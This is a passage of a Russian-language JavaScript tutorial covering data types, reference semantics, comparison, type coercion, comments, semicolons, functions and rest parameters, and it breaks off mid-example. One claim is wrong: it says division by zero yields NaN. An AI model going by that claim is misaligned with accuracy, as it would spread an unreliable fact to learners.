В стандарт ECMAScript определены семь примитивных типов данных, разберём каждый отдельно.

Строки

По определению строка — это последовательность символов произвольной длины. Любых символов: букв, цифр, пробелов, знаков препинания или даже вообще ничего, потому что пустая строка — тоже строка.

Чтобы строки можно было отличить от окружающего кода, они заключаются в кавычки: обычные, двойные или обратные. Выбор кавычек не влияет на значение строки и служит исключительно для удобства:

```
const singleQuote = 'Строка';
const doubleQuote = "Тоже строка";
const backtick = `Строка, хоть и непростая`;
```

« **Однако,** у строки, обрамлённой обратными кавычками, есть одна удобная особенность — интерполяция. Мы поговорим о ней позже.

Ещё один контринтуитивный момент: строка может включать в себя символ переноса строки и таким образом фактически состоять из нескольких строк.

```
const multiline = 'Строка раз \n Строка два';
```

Выполняем код в консоли браузера

Перенос строки

Здесь `\n` — это не то, чем кажется. Выведя этот текст в консоль, мы не увидим косую черту и латинскую букву «n». Вместо них возникнет перенос строки. Сочетание символов `\n` — это одна из так называемых *управляющих последовательностей*. Такие последовательности начинаются с символа обратного слэша `\` и, хотя и состоят из нескольких символов, «на выходе» дают один символ.

С помощью управляющих последовательностей можно кодировать символы, которые нельзя вставить просто так. Например, нельзя вставить двойную кавычку посреди строки, заключённой в двойные кавычки.

Код вызовет ошибку:

```
const error = "этот код даже " не запустится";
```

Ошибки не будет:

```
const success = "с этой строкой \" всё в порядке";
```

Выполняем код в консоли браузера

▶ А зачем это нужно?

Числа

В отличие от многих других языков программирования, где существует множество числовых типов, в JavaScript есть только два типа для хранения чисел: `Number` для обычных целых и дробных чисел и `BigInt` для сверхбольших.

Можно записывать числа в различных системах счисления:

```
const decimal = 1234; // число 1234 в десятичной системе счисления
const hexadecimal = 0x4d2; // число 1234 в шестнадцатеричной системе счисления
```

В JavaScript это всё равно будет `Number`.

« Если забыли, что такое система счисления, освежить знания можно на Википедии.

Можно записывать дробные (буквально «числа с плавающей точкой» от англ. float), положительные и отрицательные числа, даже заменять количество нулей на символ `e`:

```
const pi = 3.14; // число с плавающей точкой
const positive = 5; // положительное число
const negative = -5; // отрицательное число
const scientific = 1e6; // короткая запись 1000000
```

Бесконечность и «не число»

Кроме «привычных» нам чисел в JavaScript существуют специальные значения:

- `Infinity` — бесконечность;
- `-Infinity` — минус бесконечность;
- `NaN` — аббревиатура от not a number, буквально «не число».

С бесконечностью и минус бесконечностью всё должно быть интуитивно понятно, а вот `NaN` довольно контринтуитивная вещь. В большинстве языков программирования попытка поделить на ноль или совершить какую-то другую запрещённую операцию приведёт к ошибке. В JavaScript ошибки не будет, вместо этого будет возвращено специальное значение — `NaN`.

Кроме того у `NaN` есть две особенности:

1. «не число» по типу является числом и `typeof NaN` вернёт `"number"`.
2. `NaN` — единственное значение в JavaScript, которое не равно вообще ничему, в том числе самому себе.

Логический (булев) тип

Один из самых простых типов, в котором есть только два значения: `true` (истина) и `false` (ложь). Этот тип назван в честь английского математика Джорджа Буля, который изобрёл алгебру имени себя, где есть только эти два значения.

Несмотря на свою простоту, это самый важный и самый фундаментальный тип в программировании. Именно булевы значения используются в условиях вроде `if...else` — специальных конструкциях языка, для выполнения кода по условию.

undefined и null

Ещё одна причина, по которой программисты на других языках недолюбливают JavaScript, целых два значения, означающих «ничего», и для каждого из них отведён свой отдельный тип.

Несмотря на то, что оба они символизируют отсутствие значения, между ними есть некоторая разница. `null` используют там, где хотят явным образом показать отсутствие значения. `undefined` возникает там, где значение не вернулось явно. Например, `undefined` — это значение переменной, которая изначально объявлена без значения:

```
let name; // в момент объявления значение переменной будет undefined
name = 'Keks'; // мы сменили значение с undefined на 'Keks'
```

Когда что использовать? Если вы сами присваиваете или передаёте значение и хотите показать его отсутствие, используйте `null`. Оставьте `undefined` служебным функциям JavaScript и используйте его только в проверках на то, что значение существует.

Символ

Последний в нашем списке и самый новый из существующих примитивный тип данных — `Symbol`. Он был добавлен в стандарте ECMAScript 2015. В курсе этот тип не рассматривается и не применяется, поэтому за более подробной информацией обращайтесь к MDN.

Теория ~ 3 минуты

Глава 2.3.2. Объектные типы данных

Значения, не являющиеся примитивными, называются *объектными* или *ссылочными*. К ним относятся объекты, функции, массивы и прочее. В отличие от примитивных значений, объекты могут иметь свойства. Доступ к свойствам можно получить по их именам через точку или через квадратные скобки. Значением свойства может быть что угодно, начиная от примитива и заканчивая ещё одним объектом.

```
const obj = {
  a: 1,
  b: 'какая-то строка'
};

console.log(obj.a); // 1
console.log(obj['b']); // 'какая-то строка'
```

Фундаментальное отличие ссылочных типов от примитивных можно проиллюстрировать следующим кодом:

```
let a = 1;
let b = a;
a = 2;

console.log(a); // 2
console.log(b); // 1
// От манипуляций с переменной a значение переменной b не изменится
```

```
let object = {a: 1};
let anotherObject = object;
object.a = 2;

console.log(object.a); // 2
console.log(anotherObject.a); // 2
// Мы изменяли object.a, но изменилось ещё и anotherObject.a
```

И дело не в `let`, с `const` результат будет тот же:

```
const object = {a: 1};
const anotherObject = object;
object.a = 2;

console.log(object.a); // 2
console.log(anotherObject.a); // 2
```

Значения ссылочного типа — это не сами данные, а ссылка на область памяти в компьютере, где хранятся данные. Если мы скопируем эту ссылку, а затем изменим данные, используя исходную ссылку, то данные, на которые указывает ссылка-копия, также изменятся, поскольку это одни и те же данные!

Технически все значения ссылочного типа являются разновидностями объектов. Однако некоторые разновидности стоит рассмотреть отдельно. С точки зрения JavaScript, функция — это специальный вид объекта, который можно вызвать. Массив — это также особый вид объекта, оптимизированный для хранения серий значений по числовым индексам. Тем не менее и функцию, и массив при желании можно использовать как обычный объект. Например, создавать у них произвольные свойства.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 8 минут

Глава 2.4. Сравнение сложных типов данных

В JavaScript значения могут быть двух типов: примитивные и сложные. К сложным относятся объекты, массивы и функции. Все они представляют тип `object`.

Также из тренажёров вы знаете, что сложные типы данных передаются по ссылке. Примитивные — по значению. Давайте на примерах разберём, что это значит.

Передача по значению

```
let a = 5;
const b = a;
console.log(`a =`, a); // a = 5
console.log(`b =`, b); // b = 5
```

В данном примере мы создаём переменную `a` со значением 5. 5 это число, а значит примитив. Далее создаём переменную `b` и передаём ей значение переменной `a`. Получаем две совершенно независимые переменные, хотя их значения равны.

В том, что переменные никак не связаны, мы можем убедиться, изменив одну из них:

```
let a = 5;
const b = a;
a += 3;
console.log(`a =`, a); // a = 8
console.log(`b =`, b); // b = 5
```

Значение `b` осталось прежним, значение `a` — изменилось. Потому что в строке `const b = a;` число 5, примитив, передался по значению. Это и есть передача «по значению». Так происходит во всех примитивных типах.

Передача по ссылке

Проведём аналогичный эксперимент с объектом.

```
const foo = {a : 1};
const bar = foo;
foo.a++;
console.log(`foo.a =`, foo.a); // foo.a = 2
console.log(`bar.a =`, bar.a); // bar.a = 2
```

В результате изменились значения обоих объектов, хотя мы изменяли только свойство объекта `foo`.

Всё дело в том, что сложный тип хранит в переменной не само значение (объект), а *ссылку* на него. И передаёт при присвоении не сам объект, а ссылку на него. То есть и `foo`, и `bar` в нашем примере ссылаются на один и тот же объект, который хранится в памяти компьютера. И если объект подвергся изменению, обе переменные покажут одинаковый результат. Это и есть передача «по ссылке». Так происходит во всех сложных типах.

Сравнение

Сравнение примитивных типов происходит по значению:

```
const a = 10;
const b = 20;
console.log(`a > b ? Ответ:`, a > b); // a > b ? Ответ: false
```

Строки сравниваются посимвольно с учётом алфавитного порядка букв, пока не закончится одно из слов:

```
const str1 = `Длинныйй`;
const str2 = `Длинный`;
console.log(`str1 > str2 ?`, str1 > str2); // str1 > str2 ? true
const str3 = `А`;
const str4 = `Б`;
console.log(`str3 > str4 ?`, str3 > str4); // str3 > str4 ? false
const str5 = `Солнце`;
const str6 = `Солнце`;
console.log(`str5 === str6 ?`, str5 === str6); // str5 === str6 ? true
```

Если значения примитивов разных типов, то при сравнении JavaScript приводит их к единому:

```
const a = `111`;
const b = 111;
console.log(`a == b ?`, a == b); // a == b ? true
```

В данном примере значение переменной `a` преобразуется из строки в число `111` и только потом сравнивается с `b`. Поэтому результат `true`.

Чтобы произвести сравнение без приведения типов, используйте оператор строгого равенства `===`:

```
const a = `111`;
const b = 111;
console.log(`a === b ?`, a === b); // a === b ? false
```

Сравнение сложных типов происходит по ссылке, то есть *переменные сложных типов равны только в случае, если ссылаются на один и тот же объект в памяти компьютера*.

Операторы равенства `==` и строгого равенства `===` для сложных типов равнозначны. Рассмотрим примеры.

```
const foo = {a : 1};
const bar = foo;
console.log(`foo == bar ?`, foo == bar); // foo == bar ? true
```

Несмотря на то, что синтаксис присвоения объектов выглядит точно так же, как и у примитивов, при присвоении объектов `bar = foo` в `bar` передалась ссылка на объект `{a : 1}`, и теперь и `foo`, и `bar` ссылаются на один и тот же объект.

```
const foo = {a : 1};
const bar = {a : 1};
console.log(`foo == bar ?`, foo == bar); // foo == bar ? false
```

Здесь в переменных `bar` и `foo` лежат ссылки на объекты, у которых одинаковое содержимое, но для JavaScript это два разных объекта в памяти компьютера, а значит ссылки на них разные, поэтому эти объекты не равны. Рассмотрим ещё один пример:

```
const foo = {a : 1};
const bar = foo;
bar.a += 5;
console.log(`foo.a < bar.a ?`, foo.a < bar.a); // foo.a < bar.a ? false
console.log(`foo.a == bar.a ?`, foo.a == bar.a); // foo.a == bar.a ? true
```

При изменении свойства `a` — `bar.a += 5` — свойство изменяется у объекта в памяти компьютера, на который ссылаются и переменная `foo`, и переменная `bar`. Поэтому значение свойства изменится для обеих переменных, и `foo.a` будет равно `bar.a`.

Как долго объект хранится в памяти

Жизненный цикл объекта в JavaScript продолжается от создания объекта до потери последней ссылки на него. То есть объект существует до тех пор, пока существует хотя бы одна переменная, которая на него ссылается. Как только объект теряет последнюю ссылку на себя, он подлежит утилизации.

Это связано с тем, что при жизни объекты занимают место в памяти. И если объект теряет все ссылки на себя, значит он не используется, и можно освободить память, которую занимает этот «ненужный» объект. Функцию утилизации «ненужных» объектов выполняет так называемый «сборщик мусора». В JavaScript процесс уборки спрятан под капотом и никак не управляется разработчиком.

Рассмотрим пример:

```
let foo = {a : 1};
let bar = foo;
foo = null;
bar = {b: 2};
bar = 25;
```

В переменную `foo` передали ссылку на объект `{a : 1}`. Далее в результате присвоения `bar = foo` в переменную `bar` передали ссылку на тот же объект.

Сейчас `foo` и `bar` ссылаются на один и тот же объект, другими словами, на объект `{a : 1}` ссылаются две переменные.

Если присвоить переменной `foo` значение `null`, то ссылка на объект удалится, и теперь на объект ссылается только одна переменная `bar`.

Далее передаём в переменную `bar` ссылку на другой объект — `{b: 2}`, соответственно, ссылка на объект `{a : 1}` в переменной `bar` перезаписывается, и теперь на объект `{a : 1}` больше не существует ни одной ссылки. Значит объект `{a : 1}` подлежит утилизации, и в какой-то момент придёт «сборщик мусора» и удалит его.

Если переменной `bar` присвоить не другой объект, а, например, примитив `25`, ссылка на объект `{b: 2}` также будет удалена из переменной `bar`. И теперь на объект `{b: 2}` нет ни одной ссылки, и он также подлежит утилизации.

Ситуация, когда объект не используется, но на него существуют ссылки, и он не может быть из-за этого утилизирован и продолжает занимать память, называется «утечкой памяти». Не допускать «утечек памяти» необходимо во время проектирования и разработки приложения.

Теория ~ 5 минут

Глава 2.4.1. Динамическое приведение типов

У всех операторов в JavaScript есть нечто общее. Они имеют смысл лишь для определённых типов данных. Например, мы умеем складывать числа, но непонятно, как складывать, скажем, `null` и `undefined`. Мы можем применить оператор «логическое ИЛИ» к значениям типа булево, но что значит «Вася ИЛИ Петя»?

Что происходит, когда программист пытается применить оператор к данным неподходящего типа? Зависит от того, на каком языке он программирует. Одни языки моментально выдадут ему ошибку. Другие попытаются найти какой-то смысл в том, что он написал. Они попробуют преобразовать значения в такой тип, для которого этот оператор будет иметь смысл. Такое преобразование и называется динамическим приведением типов.

Допустим, мы пытаемся разделить строку `'4'` на строку `'2'`. Деление имеет смысл только для чисел, поэтому JavaScript пытается превратить строки в числа. Он без труда догадывается, что строка `'4'` — символизирует число `4`, а строка `'2'` — число `2`. Поэтому в результате получится `4 / 2 = 2`.

Если мы попытаемся разделить строку `'Вася'` на строку `'Петя'`, JavaScript будет действовать аналогично. Разница в том, что ни `'Вася'`, ни `'Петя'` к числу разумным образом не приводится. Поэтому JavaScript превратит каждую из этих строк в специальное значение `NaN`. А «не число», делённое на «не число», в результате опять даёт «не число». Аналогично работают и другие типы операторов. Если логический оператор получает на вход строку, он пытается превратить её в `true` или `false`. И так далее, и тому подобное.

Основные правила динамического приведения типов

Рассмотрим лишь частные случаи. Арифметические операторы всегда приводят свои операнды к числовому типу. Исключение — оператор `+`, из-за своего двойного назначения. Если хотя бы один из операндов — строка, то плюс считает, что он оператор конкатенации, и пытается привести другой операнд тоже к строке.

```
'5' - '3'; // Получим число 2
'5' + '3'; // Получим строку '53'
```

Если нужно привести нечисловое значение к числовому типу, можно воспользоваться этой особенностью и применить к нему унарный оператор `+`. Применённый к числу он не сделает ничего, однако применённый к чему-то другому, он, благодаря механизму динамического приведения типов, превратит это «что-то» в число:

```
(+'5') + (+'3') // Получим число 8
```

Как говорилось выше, плюс работает как оператор конкатенации, если хотя бы один операнд — строка. Это можно использовать для приведения значений к строковому типу:

```
false + ''; // Получим строку 'false'
```

Логические операторы приводят свои операнды к булеву типу. Здесь, однако, важно понимать, что операторы «логического И» `&&`, и «логического ИЛИ» `||` — это не совсем то же самое, что логические операции «И» и «ИЛИ» из курса школьной информатики. Для примера распишем подробнее, как действует оператор `||`. Он берёт свой первый операнд и приводит его к булеву типу. Если получится `true`, то оператор возвращает свой первый операнд в исходном виде. Если нет — свой второй операнд, опять же в исходном виде. Приведение к логическому типу используется только для выяснения, какой операнд вернуть в качестве результата, но не применяется к самому результату:

```
'Вася' || 'Петя'; // 'Вася'
/*
  'Вася' приводится к true, потому что строка не пустая,
  и поэтому оператор || вернёт первый операнд — 'Вася'.
  До Пети дело даже не доходит
*/

'' || 'Петя'; // 'Петя'
/*
  А здесь пустая строка приводится к false,
  и поэтому оператор || вернёт второй операнд — 'Петя'.
*/
```

В отличие от логических операторов, оператор отрицания `!` возвращает значение булева типа. Чтобы привести произвольное значение к булеву типу, можно применить оператор отрицания дважды.

```
!!'Вася' // true
```

Резюме

Если вам показалось, что динамическое приведение типов, это удобно... увы, это не так. Старайтесь как можно меньше использовать динамическое приведение типов.

Да, вы не ослышались! Это очень удобный механизм, позволяющий записывать коротко то, что в языке без него вышло бы многословно. Однако нужно понимать, что когда этот механизм проектировался, никто и не предполагал, какую роль займёт язык JavaScript десятки лет спустя. Изначально язык предназначался для написания простейших скриптов (вроде обработчика нажатия кнопки) людьми, далёкими от программирования. И он был спроектирован так, чтобы как можно меньше отпугивать их сложными концепциями. Сейчас, когда на JS пишутся полноценные приложения, былая простота зачастую оборачивается головной болью.

Выражения, использующие динамическое приведение типов, проще писать, но сложнее читать и искать в них ошибки. В сложных случаях лучше привести аргументы к нужным типам заранее. Динамическое приведение типов стоит использовать лишь в самых простых выражениях.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 8 минут

Глава 2.5. Комментарии в коде

Любой язык программирования позволяет оставлять в коде комментарии. JavaScript не является исключением. **Комментарий** — вспомогательный текст, поясняющий работу исходного кода программы. Этот текст никак не влияет на интерпретирование и выполнение исходного кода программы.

Комментарии пишутся прямо в коде. Чтобы интерпретатор мог отличить их от основного кода, текст комментариев заключается между специальными символами. В каждом языке программирования приняты свои символы для обрамления текста комментариев. В JavaScript поддерживается два вида комментариев: однострочные и многострочные.

Однострочные комментарии

Для однострочных комментариев применяется комбинация из двух символов слэш — `//`. Рассмотрим пример:

```
// Это однострочный комментарий
// Здесь может быть любой текст
// Его задача пояснить код. Например:
// Функция для приветствия
function greet () {
  return 'Привет, фронтендеры!';
}
```

Как мы уже отметили выше, комментарий — это просто вспомогательный текст. В примере выше представлено несколько однострочных комментариев. Текст пишется после двух символов `//`. Хорошим тоном делать после них пробел, а потом начинать писать текст комментария. Если текст не влезает в одну строку, то можно продолжить на следующей, но придётся опять воспользоваться символами `//`.

Многострочные комментарии

В дополнение к однострочным комментариям, JavaScript поддерживает многострочные. Их удобно применять, когда комментарий содержит несколько строк текста. Многострочные комментарии обрамляются символами `/* Текст комментария */`. Рассмотрим на примере.

```
/*
 Это многострочный комментарий
 Здесь может быть любой текст
 Его задача пояснить код. Например:
 Функция для приветствия.
*/
function greet () {
  return 'Привет, фронтендеры!';
}
```

При использовании многострочных комментариев важно не забыть закрыть блок с комментарием (`/* */`). Применение однострочных или многострочных комментариев зависит от объёма пояснительного текста. Обходимся одной строкой — однострочные, если нужно больше — многострочные.

Комментарии могут быть в любом месте исходного кода. На представленных примерах они описаны перед функциями, но в действительности могут быть и в теле функций. Одним словом — в любом месте исходного кода.

Плохие комментарии

Может показаться, что хороший код должен быть прекрасно прокомментирован. На самом деле нет. Не стоит увлекаться написанием комментариев. Да, они никак не влияют на выполнение кода, но ими легко захламить код. Стоит увлечься, и рано или поздно с обильно прокомментированным кодом станет трудно работать.

Поэтому общий совет — не стоит увлекаться комментированием. Лучше сфокусироваться на читабельности кода. Если подобрать «говорящие» имена для переменных и функций, то такой код вряд ли потребует дополнительных пояснений. Для наглядности рассмотрим пример плохих комментариев:

```
// Функция для подсчёта суммы a и b
const s = function (a, b) {
  // Считаем сумму a + b
  const c = a + b;

  // Возвращаем результат вычислений
  return c;
}
```

В примере приведена простая функция для суммирования параметров `a` и `b`. На первый взгляд комментарии в этом коде решают важную задачу: объясняют предназначение функции и подробно расписывают её работу. Однако на самом деле, комментарии маскируют проблему. Проблему плохого именования.

Имя функции состоит из одного символа. Если не заглянуть в тело функции, то её предназначение будет непонятно. Комментарии пытаются решить эту проблему за счёт пояснительного текста, но по факту маскируют проблему. Лучше изменить наименование функции и сделать его более «говорящим». Тогда необходимость в комментарии отпадёт:

```
const summarize = function (a, b) {
  return a + b;
}
```

Хорошие комментарии

А какие же тогда комментарии принято считать хорошими? Ответ на этот вопрос прост — полезные. Запомните, комментарии пишутся для людей. Для автора кода и других разработчиков, которым рано или поздно придётся работать с кодом. При написании комментария следует отталкиваться именно от пользы.

Со многими вещами проще разобраться, прочитав код. Если он написан хорошо и понятно, то необходимость комментирования в принципе отпадает. Однако, это ни в коем случае не говорит о бесполезности комментирования.

Первый пример полезных комментариев: причина выбора именно этого решения. Любую задачу можно решить несколькими способами. Комментарий может помочь объяснить выбор конкретного решения.

Такие комментарии пригодятся как самому разработчику, так и другим участникам команды. Вполне возможно, что до этого решения применялись другие, но данное решение позволило избежать неочевидных проблем.

Со временем вы сами можете вернуться к коду, прочитать этот комментарий, и в голову может прийти более удачное решение этой задачи. Комментарий поможет вспомнить, почему был выбран именно этот вариант.

Другой пример полезных комментариев — описание тонкостей. Даже если придерживаться правил хорошего именования, всегда есть вероятность хитрого кода — кода, прочитав который, будет непонятно, как он работает. В таких случаях комментарии тоже полезны. Однако стоит помнить: понятный код всегда лучше хитрого. Код в первую очередь для людей, а не для машин.

Есть ещё один полезный вид комментариев — JSDoc. Современные редакторы/IDE поддерживают формат описания комментариев в формате JSDoc. Этот формат вводит правила на описание (комментирование) функций/классов. Например, он позволяет задокументировать параметры (какие типы принимает функция), результат выполнения функции и так далее.

Стоп! А зачем это, если можно использовать правила хорошего именования? JSDoc — это больше, чем просто комментирование. Комментарии, написанные в таком формате, умеют разбирать редакторы кода. Обычно такая функциональность либо встроена, либо решается за счёт установки расширения.

Если редактор обнаружит описание функции в JSDoc, то при обращении к этой функции, он выведет подсказку. Перечислит параметры, укажет их тип и даже добавит описание функции. Подобные подсказки вы наверняка видели во время применения встроенных функций.

Другая польза от JSDoc — возможность сгенерировать документацию. Специальные инструменты могут перебрать все модули проекта, вытащить из них комментарии в JSDoc и собрать красивую документацию.

Горячие клавиши в редакторах

Практически все популярные редакторы кода поддерживают горячие клавиши для быстрого комментирования. Это бывает полезно, когда требуется закомментировать участок кода. Например, хочется проверить работу программы без нескольких строчек кода (возможно в них ошибка). Чтобы временно не удалять эти строки, их можно закомментировать. Тогда они превратятся в «текст» и интерпретатор не выполнит их.

Эту задачу можно сделать руками — обрамить код либо в однострочный, либо в многострочный комментарий. Когда речь идёт об одной строке — это сделать не сложно. Однако, если требуется закомментировать сразу блок кода, то удобнее воспользоваться горячими клавишами в редакторе кода.

В VSCode для этого предусмотрена комбинация горячих клавиш — `Ctrl + /` (или `CMD + /` если вы работаете в macOS). Попробуйте выделить участок кода и нажать эту комбинацию клавиш. Выбранный участок превратится в комментарий. Чтобы раскомментировать код воспользуйтесь этим же сочетанием клавиш (помните, код должен быть выделен).

Резюме

Комментарии в коде полезны далеко не всегда. Если приходится писать длинные комментарии о работе кода, то скорей всего с кодом что-то не так. Возможно, такой код следует пересмотреть. Оставляйте комментарии для действительно сложных участков кода. Когда требуется понять, почему выбрано именно это решение, а не другое.

Комментарии полезны для описания выбранной архитектуры/решения и другой информации, которая поможет вам и другим разработчикам. Узнайте больше о формате JSDoc. Он позволит сделать работу с кодом более комфортной.

Теория ~ 3 минуты

Глава 2.6. Точка с запятой

Во многих языках программирования символ «точка с запятой» `;` является обязательным. Его ставят после каждого выражения (операции), чтобы интерпретатор смог отделить одну инструкцию от другой. Встречаются и обратные ситуации: языки, в которых этот символ ставить необязательно вовсе.

JavaScript в отношении точки с запятой стоит где-то посередине. Спецификация предусматривает автоматическую вставку точки с запятой, поэтому в большинстве случаев её можно не ставить, если инструкции отделяются переходом на новую строку. Переход на новую строку — сигнал для интерпретатора поставить неявную точку с запятой.

Однако есть ситуации, когда явный перенос строки JavaScript не сможет правильно интерпретировать и автоматически проставить точку с запятой. Результатом станет ошибка. Рассмотрим несколько примеров таких ситуаций:

```
const a = b + c
(d + e).toString()
```

Пусть каждая переменная содержит числовое значение. Попытка выполнить этот код приведёт к ошибке: `c is not a function`. Обратите внимание, перенос строки есть, но JavaScript не смог автоматически разделить инструкции.

Он посчитал, что на следующей строке происходит передача аргументов для функции `c`, но по задумке это обычная переменная с числовым значением. Конечно, одной ситуацией дело не ограничивается:

```
const text = 'Ещё одна курьёзная ситуация'
console.log(text)
[text, text].forEach(console.log)
```

Не обращайте внимание на последнюю строку кода в примере. В ней мы пытаемся дважды вывести содержимое переменной `text`. Как это работает — рассмотрим в одном из следующих разделов.

Как вы уже могли догадаться, при выполнении этого кода опять возникнет ошибка. Мы понадеялись на автоматическую вставку точки с запятой, но из-за третьей операции JavaScript принял неправильное решение. Третья инструкция стала частью второй из-за отсутствующей точки с запятой:

```
console.log(text)[text, text].forEach(console.log)
```

Возможны и другие ситуации

Можно привести и ещё несколько примеров с демонстрацией неправильного разделения инструкций. В этом нет смысла. Спецификация подробно описывает правила автоматической простановки символа `;`. Не нужно пытаться их все заучить наизусть. В большинстве ситуаций проще ставить точку с запятой явным образом.

Резюме

Ставить точки с запятой или нет? Мнения сообщества JavaScript-разработчиков здесь разнятся. Есть приверженцы автоматической вставки, а есть те, кто предпочитает ставить самостоятельно.
Мы рекомендуем использовать символ `;` явно, то есть проставлять самостоятельно, разделяя инструкции.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 7 минут

Глава 2.7. Функции

В любом языке программирования есть возможность разбить код на небольшие подпрограммы — самостоятельные фрагменты кода. Подпрограммы упрощают написание кода и позволяют переиспользовать его.

Упрощение достигается за счёт разделения кода на отдельные составляющие. Лучше всего это представить в виде фрагментов кода — каждый такой фрагмент решает маленькую задачу. Таким образом, разработчику не нужно держать в голове весь код программы. Он может фокусироваться на определённых фрагментах кода и не погружаться в детали других.

Для создания таких фрагментов кода, в языках программирования предусмотрены функции. **Функция** — это механизм, позволяющий разбивать код приложения на подпрограммы (фрагменты кода), тем самым давая возможность многократно переиспользовать его в разных частях программы.

Другая задача функций — упростить поддержку кода. Например, выделить сложный код в отдельный фрагмент, то есть функцию. Таким образом, код приложения разгрузится, а функцию вы сможете вызвать в любом месте приложения.

Из определения выше, может сложиться впечатление, что функции применять не просто. На самом деле это не так. С точки зрения кода, функция не что иное как именованный фрагмент кода, обёрнутый оператором или специальными символами. Для выполнения кода функции применяется идентификатор — то самое имя.

Объявление функций

Объявить функцию в JavaScript можно несколькими способами: декларативно (function declaration) и в виде функционального выражения (function expression). Спецификация ECMAScript 2015 добавила дополнительный синтаксис для описания функций — стрелочные функции. Про них мы поговорим в отдельном разделе, а сейчас рассмотрим первые два способа.

Декларативное объявление

При декларативном способе объявления функция определяется в основном потоке кода. Для объявления функции используется ключевое слово `function`. После него следует имя функции. Имя функции или идентификатор, позволят взаимодействовать с ней.

Как и в случае с переменными, имя функции не может содержать пробелов, начинаться с числа и включать спецсимволы, кроме `_` и `$`.

В качестве имени функций следует выбирать осмысленные слова. Не стоит создавать функции, имена которых состоят из одного символа. При взгляде на имя функции, должно быть сразу понятно её предназначение.

После имени функции в круглых скобках описываются параметры. **Параметры функции** — это входные данные. Проще говоря, значения, которые могут быть использованы внутри функций. Параметры передаются в функцию аргументами при вызове, об этом дальше. Для каждого такого значения в теле функции будет доступна переменная.

```
function имя_функции ([параметры_функции]) {
  [тело_функции]
}
```

Функция может не принимать никаких аргументов, быть самостоятельной, а значит параметры у неё будут отсутствовать. В этом случае следует указать пустые круглые скобки:

```
function имя_функции () {
  [тело_функции]
}
```

Почему функция не принимает «аргументы», а отсутствуют «параметры»? Дело в том, что параметрами называются значения, которые мы задаём *в момент объявления функции*. Их же мы используем и в теле функции. А аргументами называют значения, которые мы передаём в функцию *при её вызове*.

После круглых скобок открываются фигурные и в них описывается тело функции — тот самый фрагмент кода. Следуя структуре, попробуем описать первую функцию. Напишем функцию, которая умеет складывать два числа. Назовём эту функцию `summarize`:

```
function summarize (firstNumber, secondNumber) {
  return firstNumber + secondNumber;
}
```

У функции `summarize` объявлено два параметра: `firstNumber` и `secondNumber`. А значит при вызове функции мы можем аргументами передать числа, которые должны быть суммированы:

```
summarize(1, 2);
```

Внутри функции мы обращаемся к ним как к обычным переменным.

Следом за параметрами идёт описание тела функции. Тело функции обрамляется фигурными скобками. В теле описываются действия (код), которые должна выполнять функция.

В примере таким действием является сложение, но, само собой, действий может быть значительно больше. Всё зависит от задачи, которую решает функция.

Функция может возвращать результат своей работы. Применительно к примеру выше, результатом является сумма чисел. Для возврата значения из функции в языке предусмотрен оператор `return`. Выполнив оператор `return`, функция прекратит работу и вернёт значение.

Оператор `return` необязателен. Если в теле функции не указать возвращаемый результат с помощью оператора `return`, то JavaScript по умолчанию будет считать, что функция вернула `undefined`. Поэтому оба примера ниже равнозначны:

```
function summarize (firstNumber, secondNumber) {
  firstNumber + secondNumber;
  return undefined;
}
```

```
function summarize (firstNumber, secondNumber) {
  firstNumber + secondNumber;
}
```

Функциональное выражение

При объявлении функции в виде функционального выражения результат определения функции записывается в переменную, а имя функции можно не указывать.

```
const имя_переменной = function ([параметры_функции]) {
  [тело_функции]
}
```

В остальном синтаксис идентичен. Рассмотрим на примере:

```
const deduct = function (firstNumber, secondNumber) {
  return firstNumber - secondNumber;
}
```

Мы определяем переменную `deduct` с анонимной функцией в качестве её значения.

Но как вызвать анонимную функцию, то есть функцию без имени? По имени переменной, значением которой она является:

```
deduct(2, 1);
```

Для простоты общения дальше по тексту мы будем использовать словосочетание «имя функции» вместо «имя переменной» для функций, объявленных как функциональное выражение.

Вызов функции

Чтобы выполнить код внутри функции, её необходимо выполнить — вызвать. Для этого достаточно поставить круглые скобки после имени функции, открывающую и закрывающую, и функция будет вызвана:

```
summarize();
```

Если функция принимает аргументы, то в этих скобках следует передать значения для каждого из них:

```
summarize(1, 2);
```

Результат выполнения функции

Если функция что-то возвращает (в её теле объявлен `return`), то результат её выполнения следует куда-то сохранить, чтобы потом им воспользоваться. Для этого достаточно записать вызов функции в переменную:

```
const total = summarize(1, 2);
const diminution = deduct(2, 1);
```

Резюме

Функции позволяют разбить код на небольшие «подпрограммы» и многократно переиспользовать их из разных мест приложения. Объявить функции в JavaScript можно несколькими способами: в виде функционального выражения и декларативно. У обоих подходов есть свои преимущества и недостатки, однако на курсе они нивелируются, поэтому выбирайте любой из подходов. Главное придерживаться его во всём проекте!

Теория ~ 5 минут

Глава 2.7.1. rest-параметры функций

Чаще всего при написании или работе с функциями в JavaScript у нас есть конкретное число аргументов, которые эти функции принимают. Однако существуют функции, которые работают с любым количеством аргументов. Например, функция `Math.max()` для определения максимального значения среди переданных аргументов. Ей неважно, среди какого количества элементов определять максимальный:

```
Math.max(1); // вернёт: 1
Math.max(1, 2); // вернёт: 2
Math.max(3, 2, 1); // вернёт: 3
Math.max(Infinity, 1, 2, 3, 4, 5, 100, 1000); // вернёт: Infinity
```

Но как реализовать такую функцию? Заложить сто параметров? Тысячу? А потом? Надеяться, что разработчик при вызове не передаст больше? Конечно, нет! Для случаев вроде этого, когда количество параметров заранее неизвестно, и существуют rest-параметры.

> Понять rest-параметры может быть немного проще, если перевести слово rest на русский. Rest — «оставшиеся» или «остальные», то есть получится «оставшиеся параметры» или «остальные параметры». Буквально — это возможность собрать все параметры функции вместе, сколько бы при вызове не было передано аргументов.

Для описания rest-параметров используется специальный оператор, выглядит как многоточие `...`, следом за которым без пробелов идёт название переменной, в которую нужно записать все параметры функции. Это значит, что все аргументы, которые будут переданы при вызове, будут собраны в переменную, и обратиться к ней можно будет по заданному вами имени.

```
function имя_функции (...rest_параметры) {}
```

Разберём пример:

```
function getMaxValue (...values) {
  // В теле функции мы можем обращаться к переменной values,
  // как к обычному параметру, только в этой переменной будут
  // собраны все переданные аргументы

  // Дальше дело техники. Пока не прочитали параметры,
  // берём за максимальное значение минимально возможное число —
  // минус бесконечность
  let max = -Infinity;

  // Затем в цикле, пока не кончатся параметры...
  for (let i = 0; i < values.length; i++) {
    // Проверяем каждый параметр: не больше ли он максимального...
    if (values[i] > max) {
